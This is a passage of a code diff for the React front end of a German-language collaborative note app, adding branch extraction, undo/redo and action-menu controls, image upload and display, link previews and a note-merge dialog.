}, [onDocRemoved, showNotice]);
|
||||
useEffect(() => () => {
|
||||
if (noticeTimerRef.current !== null) window.clearTimeout(noticeTimerRef.current);
|
||||
}, []);
|
||||
@@ -394,7 +478,9 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
||||
const handleUndo = useCallback(() => {
|
||||
const res = engineRef.current?.undo();
|
||||
if (res?.message) showNotice(res.message);
|
||||
}, [showNotice]);
|
||||
if (res?.ok) finishUndoExtract();
|
||||
}, [showNotice, finishUndoExtract]);
|
||||
|
||||
const handleRedo = useCallback(() => {
|
||||
const res = engineRef.current?.redo();
|
||||
if (res?.message) showNotice(res.message);
|
||||
@@ -420,6 +506,38 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
||||
[]
|
||||
);
|
||||
|
||||
// A bullet with its children becomes a note of its own. The server only creates the note; the branch
|
||||
// is replaced here as an ordinary own edit, so it shows at once, syncs like typing and Strg+Z works.
|
||||
const handleExtractBlock = useCallback(
|
||||
async (blockId: string) => {
|
||||
const engine = engineRef.current;
|
||||
if (!engine) return;
|
||||
try {
|
||||
await engine.syncNow(); // the server reads the branch as typed so far
|
||||
const { document: created, link } = await api.extractBranch(docId, blockId, engine.clientId);
|
||||
// The focused field keeps its own text while typing; leave it so it shows the link
|
||||
(document.activeElement as HTMLElement | null)?.blur?.();
|
||||
const prev = currentBlocksRef.current;
|
||||
const i = prev.findIndex((b) => b.id === blockId);
|
||||
if (i >= 0) {
|
||||
const level = prev[i].level || 0;
|
||||
let end = i + 1;
|
||||
while (end < prev.length && (prev[end].level || 0) > level) end++;
|
||||
applyLocalBlocks([...prev.slice(0, i), { ...prev[i], content: link }, ...prev.slice(end)]);
|
||||
}
|
||||
lastExtractRef.current = { newDocId: created.id, blockId, link };
|
||||
onDocCreated?.(created);
|
||||
showNotice(`In eigene Notiz „${created.title}“ umgewandelt`, [
|
||||
{ label: 'Öffnen', run: () => onOpenDocBlock?.(created.id) },
|
||||
{ label: 'Rückgängig', run: () => handleUndo() },
|
||||
]);
|
||||
} catch (err: any) {
|
||||
showNotice(err?.message || 'Umwandeln fehlgeschlagen');
|
||||
}
|
||||
},
|
||||
[docId, onOpenDocBlock, onDocCreated, showNotice, handleUndo, applyLocalBlocks]
|
||||
);
|
||||
|
||||
// Keep parent sidebar metadata in sync when blocks/tags change
|
||||
useEffect(() => {
|
||||
if (!docRef.current) return;
|
||||
@@ -653,7 +771,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
||||
<button
|
||||
type="button"
|
||||
onClick={onBackMobile}
|
||||
className="lg:hidden btn-icon"
|
||||
className="lg:hidden btn-icon h-11 w-11 sm:h-7 sm:w-7"
|
||||
title="Zurück zur Seitenleiste"
|
||||
>
|
||||
<ArrowLeft className="w-3.5 h-3.5" />
|
||||
@@ -751,109 +869,129 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
||||
|
||||
{/* Right Action Buttons */}
|
||||
<div className="flex items-center gap-1.5">
|
||||
{/* How changes of others arrive (only relevant for shared notes) */}
|
||||
{engineState && (engineState.shared || engineState.sessions > 1) && (
|
||||
<span
|
||||
className="hidden sm:inline-flex items-center gap-1 px-2 py-0.5 rounded-btn text-[11px] text-muted bg-panel border border-border"
|
||||
title={
|
||||
engineState.channel === 'ws'
|
||||
? 'Live-Verbindung über WebSocket'
|
||||
: engineState.channel === 'sse'
|
||||
? 'Live-Verbindung über Server-Sent Events (WebSocket wird blockiert)'
|
||||
: engineState.channel === 'longpoll'
|
||||
? 'Live über Long-Polling (WebSocket und SSE werden blockiert)'
|
||||
: 'Keine Live-Verbindung möglich – Änderungen werden alle 3 Sekunden abgefragt'
|
||||
}
|
||||
{!inTrash && (
|
||||
<>
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleUndo}
|
||||
disabled={!canEdit || !engineState?.canUndo}
|
||||
className="btn-icon h-11 w-11 sm:h-7 sm:w-7 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||
title="Rückgängig (Strg+Z)"
|
||||
aria-label="Rückgängig (Strg+Z)"
|
||||
>
|
||||
<span
|
||||
className={`w-1.5 h-1.5 rounded-full ${
|
||||
engineState.channel === 'interval' ? 'bg-status-warn' : 'bg-status-ok'
|
||||
}`}
|
||||
/>
|
||||
{engineState.channel === 'longpoll' ? 'Live (Long-Polling)' : engineState.channel === 'interval' ? 'Abgleich alle 3 s' : 'Live'}
|
||||
</span>
|
||||
<Undo2 className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleRedo}
|
||||
disabled={!canEdit || !engineState?.canRedo}
|
||||
className="btn-icon h-11 w-11 sm:h-7 sm:w-7 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||
title="Wiederholen (Strg+Y)"
|
||||
aria-label="Wiederholen (Strg+Y)"
|
||||
>
|
||||
<Redo2 className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
</>
|
||||
)}
|
||||
|
||||
{/* Who else has this note open */}
|
||||
<PresenceAvatars people={otherPeople} avatars={avatarsById} />
|
||||
{/* Sharing Section */}
|
||||
{doc && !inTrash && (() => {
|
||||
const isOwner = doc.isOwner !== false && (doc.userId === currentUser?.id || !doc.userId || currentUser?.role === 'admin');
|
||||
const sharesCount = doc.sharedWith?.length || 0;
|
||||
const isShared = sharesCount > 0 || !isOwner || Boolean(doc.sharedFolderId);
|
||||
const ownerDisplayName = doc.ownerName || 'Eigentümer';
|
||||
|
||||
return (
|
||||
<div className="flex items-center gap-1.5">
|
||||
{isShared && (
|
||||
isOwner ? (
|
||||
{doc && !inTrash && (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onOpenShareModal(doc)}
|
||||
className="px-2 py-0.5 rounded text-[10px] font-semibold bg-accent/15 text-accent border border-accent/30 flex items-center gap-1 hover:bg-accent/25 hover:border-accent/50 transition-colors cursor-pointer"
|
||||
title="Teilen-Menü öffnen: Geteilt mit Nutzern/Gruppen anzeigen & verwalten"
|
||||
>
|
||||
<Users className="w-2.5 h-2.5" />
|
||||
<span>Geteilt{sharesCount > 0 ? ` (${sharesCount})` : ''}</span>
|
||||
</button>
|
||||
) : (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onOpenShareModal(doc)}
|
||||
className="px-2 py-0.5 rounded text-[10px] font-medium border border-border text-muted flex items-center gap-1 bg-surface-subtle hover:bg-panel-elevated hover:text-main transition-colors cursor-pointer"
|
||||
title="Teilen & Berechtigungen öffnen"
|
||||
>
|
||||
<Users className="w-2.5 h-2.5" />
|
||||
<span>Geteilt von {ownerDisplayName}</span>
|
||||
</button>
|
||||
)
|
||||
)}
|
||||
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onOpenShareModal(doc)}
|
||||
className="btn-icon"
|
||||
className="btn-icon h-11 w-11 sm:h-7 sm:w-7"
|
||||
title="Notiz teilen und Berechtigungen"
|
||||
aria-label="Notiz teilen und Berechtigungen"
|
||||
>
|
||||
<Users className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
})()}
|
||||
)}
|
||||
|
||||
{!inTrash && <button
|
||||
<div className="relative" ref={actionsMenuRef}>
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleTogglePin}
|
||||
className={`btn-icon ${
|
||||
doc?.isPinned
|
||||
? 'text-status-warn bg-status-warn/10 border-status-warn/30'
|
||||
: ''
|
||||
}`}
|
||||
title={doc?.isPinned ? 'Anheftung lösen' : 'Notiz anheften'}
|
||||
onClick={() => setShowActionsMenu((prev) => !prev)}
|
||||
aria-expanded={showActionsMenu}
|
||||
aria-haspopup="menu"
|
||||
aria-label="Weitere Aktionen"
|
||||
title="Weitere Aktionen"
|
||||
className="btn-icon h-11 w-11 sm:h-7 sm:w-7"
|
||||
>
|
||||
<Pin className="w-3.5 h-3.5" />
|
||||
</button>}
|
||||
<MoreHorizontal className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
|
||||
{showActionsMenu && (
|
||||
<div
|
||||
role="menu"
|
||||
className="absolute right-0 top-full mt-1.5 w-60 rounded-card bg-panel border border-border shadow-lg p-1 z-30 text-xs"
|
||||
>
|
||||
{!inTrash && (
|
||||
<button
|
||||
type="button"
|
||||
role="menuitem"
|
||||
onClick={() => {
|
||||
setShowActionsMenu(false);
|
||||
void handleTogglePin();
|
||||
}}
|
||||
className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-panel-elevated text-left text-main font-medium flex items-center gap-2 transition-colors cursor-pointer"
|
||||
>
|
||||
<Pin
|
||||
className={`w-3.5 h-3.5 shrink-0 ${
|
||||
doc?.isPinned ? 'text-status-warn' : 'text-accent'
|
||||
}`}
|
||||
/>
|
||||
<span>{doc?.isPinned ? 'Anheftung lösen' : 'Notiz anheften'}</span>
|
||||
</button>
|
||||
)}
|
||||
|
||||
{onRequestMerge && doc?.isOwner && !inTrash && (
|
||||
<button
|
||||
type="button"
|
||||
role="menuitem"
|
||||
onClick={() => {
|
||||
setShowActionsMenu(false);
|
||||
onRequestMerge(doc);
|
||||
}}
|
||||
className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-panel-elevated text-left text-main font-medium flex items-center gap-2 transition-colors cursor-pointer"
|
||||
>
|
||||
<GitMerge className="w-3.5 h-3.5 text-accent shrink-0" />
|
||||
<span>Mit anderer Notiz zusammenführen…</span>
|
||||
</button>
|
||||
)}
|
||||
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleExportMarkdown}
|
||||
className="btn-icon"
|
||||
title="Als Markdown (.md) exportieren"
|
||||
role="menuitem"
|
||||
onClick={() => {
|
||||
setShowActionsMenu(false);
|
||||
handleExportMarkdown();
|
||||
}}
|
||||
className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-panel-elevated text-left text-main font-medium flex items-center gap-2 transition-colors cursor-pointer"
|
||||
>
|
||||
<Download className="w-3.5 h-3.5" />
|
||||
<Download className="w-3.5 h-3.5 text-accent shrink-0" />
|
||||
<span>Als Markdown (.md) exportieren</span>
|
||||
</button>
|
||||
|
||||
{canEdit && (doc?.isOwner || doc?.permission === 'owner') && (
|
||||
<>
|
||||
<div className="my-1 border-t border-border" />
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onDeleteDoc(docId)}
|
||||
className="btn-icon-danger"
|
||||
title="Notiz löschen"
|
||||
role="menuitem"
|
||||
onClick={() => {
|
||||
setShowActionsMenu(false);
|
||||
onDeleteDoc(docId);
|
||||
}}
|
||||
className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-status-err/10 text-left text-status-err font-medium flex items-center gap-2 transition-colors cursor-pointer"
|
||||
>
|
||||
<Trash2 className="w-3.5 h-3.5" />
|
||||
<Trash2 className="w-3.5 h-3.5 text-status-err shrink-0" />
|
||||
<span>Notiz löschen</span>
|
||||
</button>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* In the trash: read-only with a way back */}
|
||||
@@ -883,7 +1021,8 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
||||
)}
|
||||
|
||||
{/* Main Content Area */}
|
||||
<div className="w-full px-4 sm:px-8 py-5 flex-1">
|
||||
{/* Phones: almost no side margin; very deep outlines scroll sideways (rows keep a minimum width) */}
|
||||
<div className="w-full pl-2 pr-1 sm:px-8 py-5 flex-1 overflow-x-auto sm:overflow-x-visible [-webkit-overflow-scrolling:touch]">
|
||||
{zoomedBlock ? (
|
||||
/* =========================================================================
|
||||
FOKUS-MODUS & ZOOM-IN (HOISTED SUBTREE VIEW)
|
||||
@@ -968,6 +1107,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
||||
canEdit={canEdit}
|
||||
levelOffset={levelOffset}
|
||||
onZoomBlock={setZoomedBlockId}
|
||||
onExtractBlock={canEdit ? handleExtractBlock : undefined}
|
||||
onUpdateBlock={handleUpdateBlock}
|
||||
onUpdateBlocks={handleUpdateBlocks}
|
||||
onCreateBlock={handleCreateBlock}
|
||||
@@ -1055,6 +1195,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
||||
canEdit={canEdit}
|
||||
levelOffset={0}
|
||||
onZoomBlock={setZoomedBlockId}
|
||||
onExtractBlock={canEdit ? handleExtractBlock : undefined}
|
||||
onUpdateBlock={handleUpdateBlock}
|
||||
onUpdateBlocks={handleUpdateBlocks}
|
||||
onCreateBlock={handleCreateBlock}
|
||||
@@ -1083,7 +1224,21 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
||||
role="status"
|
||||
className="fixed bottom-6 left-1/2 -translate-x-1/2 z-50 max-w-[90vw] px-3 py-2 rounded-card text-xs text-main bg-panel-elevated border border-border shadow-panel"
|
||||
>
|
||||
{notice}
|
||||
<span>{notice}</span>
|
||||
{noticeActions.map((a) => (
|
||||
<button
|
||||
key={a.label}
|
||||
type="button"
|
||||
onClick={() => {
|
||||
setNotice(null);
|
||||
setNoticeActions([]);
|
||||
a.run();
|
||||
}}
|
||||
className="ml-3 font-semibold text-accent hover:underline min-h-[44px] sm:min-h-0"
|
||||
>
|
||||
{a.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
@@ -0,0 +1,116 @@
|
||||
import React, { useEffect, useState } from 'react';
|
||||
import { createPortal } from 'react-dom';
|
||||
import { ImageOff, Loader2, X } from 'lucide-react';
|
||||
import { mediaObjectURL, parseMediaContent } from '../../lib/media';
|
||||
|
||||
interface ImageBlockProps {
|
||||
content: string;
|
||||
canEdit: boolean;
|
||||
onCaptionChange: (caption: string) => void;
|
||||
}
|
||||
|
||||
// Image block: the picture (click = full screen) and an optional caption below it.
|
||||
export const ImageBlock: React.FC<ImageBlockProps> = ({ content, canEdit, onCaptionChange }) => {
|
||||
const ref = parseMediaContent(content);
|
||||
const [src, setSrc] = useState<string | null>(null);
|
||||
const [failed, setFailed] = useState(false);
|
||||
const [zoomed, setZoomed] = useState(false);
|
||||
const [caption, setCaption] = useState(ref?.caption || '');
|
||||
|
||||
useEffect(() => {
|
||||
setCaption(ref?.caption || '');
|
||||
}, [ref?.caption]);
|
||||
|
||||
const mediaId = ref?.id;
|
||||
useEffect(() => {
|
||||
if (!mediaId) return;
|
||||
let alive = true;
|
||||
setFailed(false);
|
||||
mediaObjectURL(mediaId)
|
||||
.then((u) => alive && setSrc(u))
|
||||
.catch(() => alive && setFailed(true));
|
||||
return () => {
|
||||
alive = false;
|
||||
};
|
||||
}, [mediaId]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!zoomed) return;
|
||||
const onKey = (e: KeyboardEvent) => e.key === 'Escape' && setZoomed(false);
|
||||
window.addEventListener('keydown', onKey);
|
||||
return () => window.removeEventListener('keydown', onKey);
|
||||
}, [zoomed]);
|
||||
|
||||
if (!ref) {
|
||||
return <div className="text-xs text-status-err py-1">Bild-Verweis ist beschädigt: {content}</div>;
|
||||
}
|
||||
|
||||
const commitCaption = () => {
|
||||
if (caption.trim() !== ref.caption) onCaptionChange(caption.trim());
|
||||
};
|
||||
|
||||
return (
|
||||
<figure className="my-1 space-y-1">
|
||||
{failed ? (
|
||||
<div className="flex items-center gap-2 h-24 px-3 rounded-card border border-border bg-panel text-xs text-muted">
|
||||
<ImageOff className="w-4 h-4" /> Bild nicht verfügbar (offline oder gelöscht)
|
||||
</div>
|
||||
) : src ? (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setZoomed(true)}
|
||||
title="Vergrößern"
|
||||
className="block max-w-full rounded-card overflow-hidden border border-border bg-panel cursor-zoom-in"
|
||||
>
|
||||
<img src={src} alt={ref.caption} className="block max-w-full max-h-[28rem] object-contain" />
|
||||
</button>
|
||||
) : (
|
||||
<div className="flex items-center justify-center w-48 h-32 rounded-card border border-border bg-panel">
|
||||
<Loader2 className="w-4 h-4 animate-spin text-muted" />
|
||||
</div>
|
||||
)}
|
||||
|
||||
{canEdit ? (
|
||||
<input
|
||||
type="text"
|
||||
value={caption}
|
||||
onChange={(e) => setCaption(e.target.value)}
|
||||
onBlur={commitCaption}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === 'Enter') {
|
||||
e.preventDefault();
|
||||
(e.target as HTMLInputElement).blur();
|
||||
}
|
||||
}}
|
||||
placeholder="Beschriftung hinzufügen…"
|
||||
className="w-full bg-transparent border-0 p-0 text-xs text-muted placeholder-faint focus:outline-none focus:ring-0"
|
||||
/>
|
||||
) : (
|
||||
ref.caption && <figcaption className="text-xs text-muted">{ref.caption}</figcaption>
|
||||
)}
|
||||
|
||||
{zoomed &&
|
||||
src &&
|
||||
createPortal(
|
||||
<div
|
||||
role="dialog"
|
||||
aria-label={ref.caption || 'Bild'}
|
||||
onClick={() => setZoomed(false)}
|
||||
className="fixed inset-0 z-[100] bg-black/85 flex flex-col items-center justify-center p-4 cursor-zoom-out"
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setZoomed(false)}
|
||||
title="Schließen (Esc)"
|
||||
className="absolute top-[calc(0.75rem+env(safe-area-inset-top))] right-3 w-11 h-11 flex items-center justify-center rounded-full bg-black/50 text-white"
|
||||
>
|
||||
<X className="w-5 h-5" />
|
||||
</button>
|
||||
<img src={src} alt={ref.caption} className="max-w-full max-h-[85vh] object-contain" />
|
||||
{ref.caption && <p className="mt-3 text-sm text-white/90 text-center max-w-2xl">{ref.caption}</p>}
|
||||
</div>,
|
||||
document.body
|
||||
)}
|
||||
</figure>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,165 @@
|
||||
import React, { useEffect, useRef, useState } from 'react';
|
||||
import { Camera, ImagePlus, Link as LinkIcon, Loader2, X } from 'lucide-react';
|
||||
import { copyExternalImage, prepareImage, UploadedMedia, uploadMedia } from '../../lib/media';
|
||||
|
||||
interface ImagePickerProps {
|
||||
docId: string;
|
||||
onDone: (media: UploadedMedia) => void;
|
||||
onCancel: () => void;
|
||||
}
|
||||
|
||||
// Inline box an empty bullet turns into after /image: pick a file (or the camera on phones), drop or
|
||||
// paste an image, or give a link the server copies. Nothing is synced until the upload succeeded.
|
||||
export const ImagePicker: React.FC<ImagePickerProps> = ({ docId, onDone, onCancel }) => {
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [dragOver, setDragOver] = useState(false);
|
||||
const [url, setUrl] = useState('');
|
||||
const fileRef = useRef<HTMLInputElement>(null);
|
||||
const cameraRef = useRef<HTMLInputElement>(null);
|
||||
const boxRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
useEffect(() => {
|
||||
boxRef.current?.focus();
|
||||
}, []);
|
||||
|
||||
const uploadFile = async (file: File | Blob | null | undefined) => {
|
||||
if (!file || busy) return;
|
||||
if (file.type && !file.type.startsWith('image/')) {
|
||||
setError('Bitte eine Bilddatei wählen');
|
||||
return;
|
||||
}
|
||||
setBusy(true);
|
||||
setError(null);
|
||||
try {
|
||||
const { blob, name } = await prepareImage(file);
|
||||
onDone(await uploadMedia(docId, blob, name));
|
||||
} catch (err: any) {
|
||||
setError(err?.message || 'Hochladen fehlgeschlagen');
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
const copyLink = async (e?: React.FormEvent) => {
|
||||
e?.preventDefault();
|
||||
const target = url.trim();
|
||||
if (!target || busy) return;
|
||||
setBusy(true);
|
||||
setError(null);
|
||||
try {
|
||||
onDone(await copyExternalImage(docId, target));
|
||||
} catch (err: any) {
|
||||
setError(err?.message || 'Bild konnte nicht übernommen werden');
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div
|
||||
ref={boxRef}
|
||||
tabIndex={-1}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === 'Escape') {
|
||||
e.preventDefault();
|
||||
onCancel();
|
||||
}
|
||||
}}
|
||||
onPaste={(e) => {
|
||||
const item = Array.from(e.clipboardData.items).find((i) => i.type.startsWith('image/'));
|
||||
if (item) {
|
||||
e.preventDefault();
|
||||
void uploadFile(item.getAsFile());
|
||||
}
|
||||
}}
|
||||
onDragOver={(e) => {
|
||||
e.preventDefault();
|
||||
setDragOver(true);
|
||||
}}
|
||||
onDragLeave={() => setDragOver(false)}
|
||||
onDrop={(e) => {
|
||||
e.preventDefault();
|
||||
setDragOver(false);
|
||||
void uploadFile(e.dataTransfer.files?.[0]);
|
||||
}}
|
||||
className={
|
||||
dragOver
|
||||
? 'my-1 p-3 rounded-card border-2 border-dashed border-accent bg-accent-dim space-y-3 focus:outline-none'
|
||||
: 'my-1 p-3 rounded-card border-2 border-dashed border-border bg-panel space-y-3 focus:outline-none'
|
||||
}
|
||||
>
|
||||
<div className="flex items-center justify-between gap-2">
|
||||
<span className="text-xs font-semibold text-main flex items-center gap-1.5">
|
||||
<ImagePlus className="w-4 h-4 text-accent" /> Bild einfügen
|
||||
</span>
|
||||
<button
|
||||
type="button"
|
||||
onClick={onCancel}
|
||||
title="Abbrechen (Esc)"
|
||||
className="w-11 h-11 sm:w-7 sm:h-7 flex items-center justify-center rounded-btn text-muted hover:text-main hover:bg-panel-elevated"
|
||||
>
|
||||
<X className="w-4 h-4" />
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{busy ? (
|
||||
<div className="flex items-center gap-2 text-xs text-muted py-3">
|
||||
<Loader2 className="w-4 h-4 animate-spin text-accent" /> Wird hochgeladen…
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<div className="flex flex-col sm:flex-row gap-2">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => fileRef.current?.click()}
|
||||
className="btn-primary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5"
|
||||
>
|
||||
<ImagePlus className="w-4 h-4" /> Datei wählen
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => cameraRef.current?.click()}
|
||||
className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5 sm:hidden"
|
||||
>
|
||||
<Camera className="w-4 h-4" /> Foto aufnehmen
|
||||
</button>
|
||||
<span className="hidden sm:flex items-center text-[11px] text-faint">
|
||||
oder hierher ziehen bzw. mit Strg+V einfügen
|
||||
</span>
|
||||
</div>
|
||||
<form onSubmit={copyLink} className="flex gap-2">
|
||||
<div className="relative flex-1 min-w-0">
|
||||
<LinkIcon className="w-3.5 h-3.5 text-faint absolute left-2.5 top-1/2 -translate-y-1/2" />
|
||||
<input
|
||||
type="url"
|
||||
inputMode="url"
|
||||
value={url}
|
||||
onChange={(e) => setUrl(e.target.value)}
|
||||
placeholder="https://… Bild-Link"
|
||||
className="w-full h-11 sm:h-8 pl-8 pr-2 input-field text-xs"
|
||||
/>
|
||||
</div>
|
||||
<button
|
||||
type="submit"
|
||||
disabled={!url.trim()}
|
||||
className="btn-secondary h-11 sm:h-8 px-3 text-xs shrink-0 disabled:opacity-40"
|
||||
>
|
||||
Übernehmen
|
||||
</button>
|
||||
</form>
|
||||
</>
|
||||
)}
|
||||
|
||||
{error && <p className="text-xs text-status-err">{error}</p>}
|
||||
|
||||
<input ref={fileRef} type="file" accept="image/*" hidden onChange={(e) => void uploadFile(e.target.files?.[0])} />
|
||||
<input
|
||||
ref={cameraRef}
|
||||
type="file"
|
||||
accept="image/*"
|
||||
capture="environment"
|
||||
hidden
|
||||
onChange={(e) => void uploadFile(e.target.files?.[0])}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,84 @@
|
||||
import React, { useEffect, useState } from 'react';
|
||||
import { Globe, X } from 'lucide-react';
|
||||
import { LinkPreview, loadLinkPreview } from '../../lib/linkPreview';
|
||||
import { loadAuthorized } from '../../lib/media';
|
||||
import { safeHref } from '../../lib/safeUrl';
|
||||
|
||||
interface LinkPreviewCardProps {
|
||||
url: string;
|
||||
canEdit: boolean;
|
||||
onHide: (title: string) => void;
|
||||
}
|
||||
|
||||
function usePicture(preview: LinkPreview | null, kind: 'image' | 'icon'): string | null {
|
||||
const [src, setSrc] = useState<string | null>(null);
|
||||
const has = preview ? (kind === 'image' ? preview.hasImage : preview.hasIcon) : false;
|
||||
const key = preview?.key;
|
||||
useEffect(() => {
|
||||
if (!has || !key) return;
|
||||
let alive = true;
|
||||
loadAuthorized(`/api/v1/link-preview/${key}/${kind}`)
|
||||
.then((p) => alive && setSrc(p.url))
|
||||
.catch(() => {});
|
||||
return () => {
|
||||
alive = false;
|
||||
};
|
||||
}, [has, key, kind]);
|
||||
return src;
|
||||
}
|
||||
|
||||
// Compact card above a bullet with a web address: icon and site, title, one line of description and a
|
||||
// small picture. Nothing is shown when the page offers nothing usable.
|
||||
export const LinkPreviewCard: React.FC<LinkPreviewCardProps> = ({ url, canEdit, onHide }) => {
|
||||
const [preview, setPreview] = useState<LinkPreview | null>(null);
|
||||
const image = usePicture(preview, 'image');
|
||||
const icon = usePicture(preview, 'icon');
|
||||
const href = safeHref(url);
|
||||
|
||||
useEffect(() => {
|
||||
let alive = true;
|
||||
setPreview(null);
|
||||
void loadLinkPreview(url).then((p) => alive && setPreview(p));
|
||||
return () => {
|
||||
alive = false;
|
||||
};
|
||||
}, [url]);
|
||||
|
||||
if (!preview || !href) return null;
|
||||
|
||||
return (
|
||||
<div className="relative mb-1 max-w-xl">
|
||||
<a
|
||||
href={href}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-stretch gap-3 rounded-card border border-border bg-panel hover:bg-panel-elevated transition-colors overflow-hidden no-underline"
|
||||
>
|
||||
<div className="min-w-0 flex-1 py-2 pl-3 pr-11 sm:pr-8 space-y-0.5">
|
||||
<div className="flex items-center gap-1.5 text-[11px] text-faint min-w-0">
|
||||
{icon ? (
|
||||
<img src={icon} alt="" className="w-3.5 h-3.5 rounded-sm shrink-0" />
|
||||
) : (
|
||||
<Globe className="w-3.5 h-3.5 shrink-0" />
|
||||
)}
|
||||
<span className="truncate">{preview.siteName}</span>
|
||||
</div>
|
||||
{preview.title && <div className="text-sm font-semibold text-main line-clamp-2 leading-snug">{preview.title}</div>}
|
||||
{preview.description && <div className="text-xs text-muted truncate">{preview.description}</div>}
|
||||
</div>
|
||||
{image && <img src={image} alt="" className="w-16 sm:w-20 object-cover shrink-0 border-l border-border" />}
|
||||
</a>
|
||||
{canEdit && (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onHide(preview.title)}
|
||||
title="Vorschau für diesen Link ausblenden"
|
||||
aria-label="Vorschau ausblenden"
|
||||
className="absolute top-0 right-0 sm:top-1 sm:right-1 w-11 h-11 sm:w-7 sm:h-7 flex items-center justify-center rounded-full bg-panel/70 text-muted hover:text-main"
|
||||
>
|
||||
<X className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,109 @@
|
||||
import React, { useMemo, useState } from 'react';
|
||||
import { GitMerge, Search } from 'lucide-react';
|
||||
import { FormSheet } from '../../components/FormSheet';
|
||||
import { api } from '../../lib/api';
|
||||
import { Document, MergeResult } from '../../lib/types';
|
||||
|
||||
interface MergeDialogProps {
|
||||
docs: Document[];
|
||||
sourceId: string;
|
||||
/** Known after a drop in the sidebar; otherwise the user picks it here */
|
||||
targetId?: string | null;
|
||||
onClose: () => void;
|
||||
onMerged: (result: MergeResult) => void;
|
||||
}
|
||||
|
||||
const canWrite = (d: Document) => d.isOwner || d.permission === 'owner' || d.permission === 'write';
|
||||
|
||||
// Merging a note into another: pick the target (when not dropped onto one), confirm, merge. The source
|
||||
// is appended to the target under a heading with its title and goes to the trash.
|
||||
export const MergeDialog: React.FC<MergeDialogProps> = ({ docs, sourceId, targetId, onClose, onMerged }) => {
|
||||
const [target, setTarget] = useState<string | null>(targetId || null);
|
||||
const [query, setQuery] = useState('');
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const source = docs.find((d) => d.id === sourceId);
|
||||
const targetDoc = docs.find((d) => d.id === target);
|
||||
|
||||
const candidates = useMemo(() => {
|
||||
const q = query.trim().toLowerCase();
|
||||
return docs
|
||||
.filter((d) => d.id !== sourceId && !d.isArchived && canWrite(d))
|
||||
.filter((d) => !q || (d.title || '').toLowerCase().includes(q))
|
||||
.slice(0, 50);
|
||||
}, [docs, sourceId, query]);
|
||||
|
||||
const submit = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
if (!target) return;
|
||||
setBusy(true);
|
||||
setError(null);
|
||||
try {
|
||||
onMerged(await api.mergeDocuments(target, sourceId));
|
||||
} catch (err: any) {
|
||||
setError(err?.message || 'Zusammenführen fehlgeschlagen');
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
const title = (d?: Document) => `„${d?.title || 'Unbenannte Notiz'}“`;
|
||||
|
||||
return (
|
||||
<FormSheet
|
||||
title="Notizen zusammenführen"
|
||||
icon={<GitMerge className="w-4 h-4" />}
|
||||
onClose={onClose}
|
||||
onSubmit={submit}
|
||||
submitLabel={target ? 'Zusammenführen' : 'Ziel wählen'}
|
||||
busy={busy || !target}
|
||||
>
|
||||
{targetDoc ? (
|
||||
<div className="space-y-2 text-xs">
|
||||
<p className="text-main">
|
||||
Notiz {title(source)} in {title(targetDoc)} zusammenführen?
|
||||
</p>
|
||||
<p className="text-muted">
|
||||
Die Punkte von {title(source)} werden als eigener Abschnitt an {title(targetDoc)} angehängt.{' '}
|
||||
{title(source)} wandert danach in den Papierkorb; „Rückgängig“ macht beides wieder rückgängig.
|
||||
